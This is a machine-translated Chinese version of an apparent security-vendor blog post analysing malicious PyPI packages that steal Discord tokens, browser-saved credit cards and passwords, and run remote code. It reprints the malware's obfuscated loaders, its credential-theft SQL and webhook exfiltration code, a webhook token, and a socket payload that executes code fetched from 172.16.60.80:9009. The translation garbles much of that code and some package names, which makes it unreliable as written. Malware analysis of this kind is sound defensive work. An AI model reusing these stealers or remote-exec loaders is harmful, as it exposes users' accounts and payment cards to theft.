JFrog检测窃取信用卡和注入代码的恶意PyPI包

软件包存储库正在成为一个流行的目标供应链攻击。最近,有关于恶意软件攻击流行存储库(如npm、PyPI和RubyGems)的新闻。开发人员盲目地信任存储库并从这些源安装包,认为它们是安全的。有时允许将恶意软件包上传到包存储库,从而使恶意参与者有机会使用存储库分发病毒,并在管道中的开发人员和CI/CD机器上发起成功的攻击。
作为JFrog安全研究团队(以前的Vdoo)自动识别恶意包的持续努力的一部分,我们现在报告PyPI上托管的几个Python包为恶意包。我们已经提醒PyPI关于恶意软件包的存在,并立即将其删除。基于pepy.tech,我们估计恶意软件包被下载了大约3万次。我们目前没有关于使用这些恶意软件包造成的实际影响的数据。
在这篇博文中,我们将分享这些软件包的技术分析及其影响。
报告包
| 包名 | 维护人员 | 有效载荷 |
|---|---|---|
| 贵族阶级 | xin1111 | 不和谐令牌窃取者,信用卡窃取者(基于windows的) |
| genesisbot | xin1111 | 和贵族一样 |
| aryi | xin1111 | 和贵族一样 |
| 遭受 | 遭受 | 和贵族一样,被迷惑了PyArmor |
| noblesse2 | 遭受 | 和贵族一样 |
| noblessev2 | 遭受 | 和贵族一样 |
| pytagora | leonora123 | 远程代码注入 |
| pytagora2 | leonora123 | 和pytagora一样 |
技术分析
模糊技术
上述所有软件包(以及大多数新手Python恶意软件)都使用了一种简单的混淆技术:
- 使用一些简单的编码器(例如Base64)对Python文本进行编码
- 将已解码的文本作为代码进行评估,使用eval
例如,noblesse2恶意软件的主代码是这样的:
导入base64,编解码器magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS…' love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M…' god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg. ''命运= 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS…“快乐= ' \ x72 \ x6f \ x74 \ x31 \ x33 '信任= eval(‘\ x6d \ x61 \ x67 \ x69 \ x63”)+ eval(‘\ x63 \ x6f \ x64 \ x65 \ x63 \ \表示就是x73 \ x2e x64…”)eval(编译(base64.b64decode (eval(‘\ x74 \ x72 \ x75 \ x73 \ x74”)),”,“执行”))
(为简洁起见,数据被截断)
这种混淆可以欺骗一个简单的静态分析工具,但不能阻止更彻底的分析,实际上会发出一个危险信号,使许多研究人员更仔细地研究这段代码。
混淆代码中使用的特定字符串(北欧金属启发?)帮助我们意识到恶意软件只是用公共工具进行处理python-obfuscator。
这些包被混淆了PyArmor这表明恶意软件开发者正在尝试不同的混淆方法。
noblesse有效载荷#1 -窃取不和认证令牌
第一个有效载荷贵族阶级恶意软件“家族”正在窃取Discord认证令牌。身份验证令牌允许攻击者冒充最初持有该令牌的用户(类似于HTTP会话cookie)。
窃取令牌的有效载荷是基于臭名昭著的dTGPG(Discord Token Grabber Payload Generator)有效载荷。这是一个从未公开发布的生成器工具,但有效负载(个性化令牌抓取器)是公开共享的,一些示例也被上传到Github。
Discord认证令牌窃取代码非常简单,它迭代一组硬编码的路径:
local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') paths = {'Discord':漫游+ '\\Discord', 'Discord Canary':漫游+ '\\discordcanary', 'Discord PTB':漫游+ '\\discordptb', 'Google Chrome':本地+ '\\Google\\Chrome\\用户数据\\默认','Opera':漫游+ '\\Opera Software\\Opera Stable', 'Brave':本地+ '\\BraveSoftware\\Brave- browser \\用户数据\\默认','Yandex':本地+ '\\Yandex\\YandexBrowser\\用户数据\\默认'}
然后简单地读取所有. log和ldb文件在这些路径下(特别是在LocalSotrage \ leveldb),并寻找Discord认证令牌,它看起来像这样:
- AhDDanSZFkkf2j2J8co2d5Tn.G2rsTL.ZP2E7xR3AiapA8oNmgyqsao0Fj1(单因素令牌- 24个字符+ '。“+ 6个字符+”。+ 27个字符)
- mfa.zmDGLWt6FVZVIjc5Xo25luPYVTRWqPryLQUVOjN0kIzZ5uzWQ1fbHyiaTNj0sQ3j4cLSB7XibGzPaUHEc3mO(多因素令牌-“mfa”。+ 84个字符)
结果通过Webhook(一种简单的方法,可以自动将消息和数据更新发送到私人服务器上的文本频道)上传到Discord以下参数:
{"type": 1, "id": "807327703082074143", "name": " Hook船长","avatar": null, "channel_id": "725001140324008047", "guild_id": "720931953251057725", "application_id": null, "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}
noblesse有效载荷#2 -窃取自动完成敏感数据(信用卡和密码)
第二个有效载荷贵族阶级家庭是一个“自动完成”的信息窃取者。所有现代浏览器都支持为用户保存密码和信用卡信息:

这非常方便,但缺点是这些信息可能会被访问本地机器的恶意软件泄露。
在这种情况下,恶意软件试图从Chrome窃取信用卡信息:
defcs (): master_key = master() login_db = os。environ['USERPROFILE'] + os。sep + \ r' appdata \Local\Google\Chrome\User Data\default\Web Data' shutil。copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor。fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw(encrypted_password, master_key) expire_mon = r[2] expire_year = r[3] hook. execute("SELECT * FROM credit_cards")send(f“CARD-NAME:”+ username +“\nNUMBER:”+ decrypted_password +“\nEXPIRY:”+ str(expire_mon) +“\nEXPIRY:”+ str(expire_year) +“\n”+“*”* 10 +“\n”))
此外,从Edge窃取保存的密码和信用卡信息(为了简短而截断):
Login_db = os。在viron['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data' ... cursor.execute("SELECT action_url, username_value, password_value FROM logins") decrypted_password = dpw(encrypted_password, master_key) if username != "" or decrypted_password != "": hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")
信息被上传到前面提到的同一个Webhook。
noblesse有效载荷#3 -系统信息收集
第三个有效载荷贵族阶级家人收集受害者系统的以下信息,并将其上传到上述Webhook:
- IP地址
- 计算机名
- 用户名
- Windows许可密钥信息(wmic路径softwarelicensingservice获取OA3xOriginalProductKey)
- Windows版本(谁得到标题)
- 截图图片(通过使用枕头的ImageGrab)
pytagora -远程代码注入
研究的第二个恶意软件家族要简单得多。
在“让pytagora定理变得简单”这个有趣的幌子下(原文如此),这是这个包的全部代码:
import math import base64,sys def hello(): exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs…'))def斜边(a,b): hello() c = math.sqrt(math.pow(a,2) + math.pow(b,2))) return round(c,2) def other(c,x): y = math.sqrt(math.pow(c,2)-math.pow(x,2)) return round(y,2)
这段被混淆的代码被解码成以下代码段:
import socket,struct,time s=socket.socket(2,socket.socket.socket. sock_stream) .connect(('172.16.60.80',9009)) l=struct.unpack('>I',s.r recv(4))[0] print (l) d=s.r recv(l) print (d) while len(d)>!1: d+=s.recv(l-len(d)) print (d) exec(d,{'s':s})
简而言之,恶意软件试图连接到TCP端口9009上的私有IP地址,然后执行从套接字读取的任何Python代码。
你应该怎么做?
给受影响开发者的建议
如果在检查了PyPI依赖项之后,您已经确定了它贵族阶级(或其任何克隆)已在本地安装,我们建议:
- 检查保存了哪些密码边缘,并在每个网站(以及重用这些密码的任何网站)更改这些受损的密码。这种检查可以通过打开来进行边缘导航到优势:/ /设置/密码。保存的密码的完整列表(可能被泄露)可以在下面看到保存的密码。
- 查看哪些信用卡被存了进去铬考虑取消这些信用卡。这种检查可以通过打开来进行铬还有导航到chrome://settings/payments。保存的信用卡的完整列表(可能被泄露)可以在下面看到付款方法。
如果你已经确定了pytagora(或其任何克隆)已本地安装在您的计算机上,虽然您不太可能感染了恶意软件,但我们建议按照通常的恶意软件检查步骤进行检查,例如使用已安装的防病毒软件运行完整扫描。
总结
正如我们在我们的之前的PyPI研究由于公共软件存储库中缺乏节制和自动安全控制,即使是没有经验的攻击者也可以将它们用作传播恶意软件的平台,无论是通过输入错误、依赖混淆还是简单的社会工程攻击。
本研究中分析的几乎所有代码片段都是基于已知的公共工具,只有少数参数发生了变化。这种混淆也是基于公共混淆。
我们希望看到更多的这些“弗兰肯斯坦”恶意软件包从不同的攻击工具缝合(改变了泄漏参数)。我们将继续监视公共包存储库,以清理此类实例。
最后,我们要感谢达斯汀·英格拉姆(@di_codes),以便快速响应和删除恶意软件包。